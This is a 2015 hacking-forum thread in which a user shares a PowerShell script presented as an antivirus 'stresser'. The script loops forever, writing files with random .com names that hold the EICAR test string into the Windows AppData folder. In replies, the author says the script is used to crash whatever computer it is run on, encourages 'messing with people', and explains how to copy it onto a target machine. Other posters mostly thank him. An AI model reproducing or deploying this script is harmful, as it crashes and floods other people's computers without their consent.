

Forum: [Hack Forums](#)

Thread: [\[Source\]\[Release\]\[Free\]Antivirus Stresser ~ turn their defences against them](#)

LogoiLab - May 12, 2015, 5:54 pm

Just wanted to share a small script I wrote that is used to test whether or not an antivirus program can withstand heavy load(bulk rapid spreading of a malicious program).

THIS PROGRAM IS NOT A VIRUS(If you don't believe me review the code yourself, its on GitHub, link is at the bottom)

This script creates multiple files in the "AppData" directory of Windows(in rapid succession)that contain the "Eicar Antivirus Test String"(this special string triggers almost all antivirus programs scoring a 48/53 on virustotal). A link to the Eicar Test String is here:

<http://www.eicar.org/86-0-Intended-use.html>

This program qualifies as a "Stresser" as it spams the antivirus with a possibly overloading amount of false positives.

Here is a link to the GitHub repo of my script:

<https://github.com/LogoiLab/AV-Stresser/>

Also, here is a copy of the source code from GitHub for your reading pleasure:

```
Code $raw =
'X;5;O;!;P;%;@;A;P;[;4;\;P;Z;X;5;4;(P;^);7;C;C;);7;};$;E;I;C;A;R;-;S;T;A;N;D;A;R;D;-;A;N;T;I;V;I;R;U;
S;-;T;E;S;T;-;F;I;L;E;!;$;H;+;H;*;' #';" delimit
$base64 =
'WAA1AE8AIQBQACUAQABBAFAAWwA0AFwAUABaAFgANQA0ACgAUABeACkANwBDAEMAK
QA3AH0AJABFAEkAQwBBAFIALQBTAFAQAQQBOAEQAQQBSAEQALQBBAE4AVABJAFYASQB
SAFUAUwAtAFQARQBTAFAQALQBGAEkATABFACEAJABIACsASAAqAA=='
$code =
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($base64));
while($true){
$rand = Get-Random
New-Item "$env:APPDATA\$rand.com" -Type File -Force | Out-Null
Set-Content "$env:APPDATA\$rand.com" -Value $code -Force | Out-Null
}
```

This script was written in PowerShell.

If you enjoyed, please donate so I can keep these things coming!

Donate BTC: 12XR6NFj7HpiYc1SwPLmZAcf5nEGgKip7N

bongchilla - May 13, 2015, 2:23 am

I like the idea . Well done

Syracusia - May 13, 2015, 6:16 am

This only crashes your own computer, it won't send these results to the AV servers.

They only send new heuristics.

LogoiLab - May 13, 2015, 8:48 am

yes it is used to crash a computer it is deployed on

xXGodXx - May 13, 2015, 8:51 am

Very nice...

thx for share!

Cudds - May 13, 2015, 1:13 pm

nice bro, ill try it out ;)

LogoiLab - May 19, 2015, 9:05 am

Thanks! Enjoy guys! ?

Comedic - May 19, 2015, 10:47 am

Looks interesting, thanks for the share.

LogoiLab - June 15, 2015, 6:59 pm

You're welcome, enjoy messing with people

Electriuc - June 16, 2015, 10:22 am

Very nice idea, quite new as well, thanks!

DocSplode - June 17, 2015, 3:06 pm

well done man, freeware is niceware!

LogoiLab - June 19, 2015, 2:27 pm

You guys have fun! Thanks for the vouches!

marshman1113 - June 19, 2015, 2:40 pm

neat piece of code. cheers

LogoiLab - June 20, 2015, 5:16 am

Thanks for the vouch! Enjoy!

pixelinfintie - June 20, 2015, 9:11 pm

Thanks bro I might use this.

Biometric - June 20, 2015, 10:15 pm

This is an interesting concept, def gotta try this.

gizmodo - June 20, 2015, 10:51 pm

I like the idea of this project, but can you tell me how can I use this?

HIGH PAID FELLA - June 20, 2015, 10:54 pm

This will only work if your computer uses an antivirus that uses cloud to scan your computer. Most people will have signatures that will detect the malware for you, so that's local and will be only crashing your own computer.

05317832892 - June 21, 2015, 2:45 am

This is strange, but I like it. Nice idea.

LogoiLab - *June 29, 2015, 9:57 am*

(Jun 20, 2015 10:51 PM)gizmodo Wrote: [\[CITE\]](#) I like the idea of this project, but can you tell me how can I use this?

You copy the batch and ps1 file to whatever computer you want to crash and you run the batch file.

theodoor - *September 1, 2018, 11:04 pm*

This is really cool, never thought of a concept like this before. Lets hope my PC doesn't crash ;)

Thanks!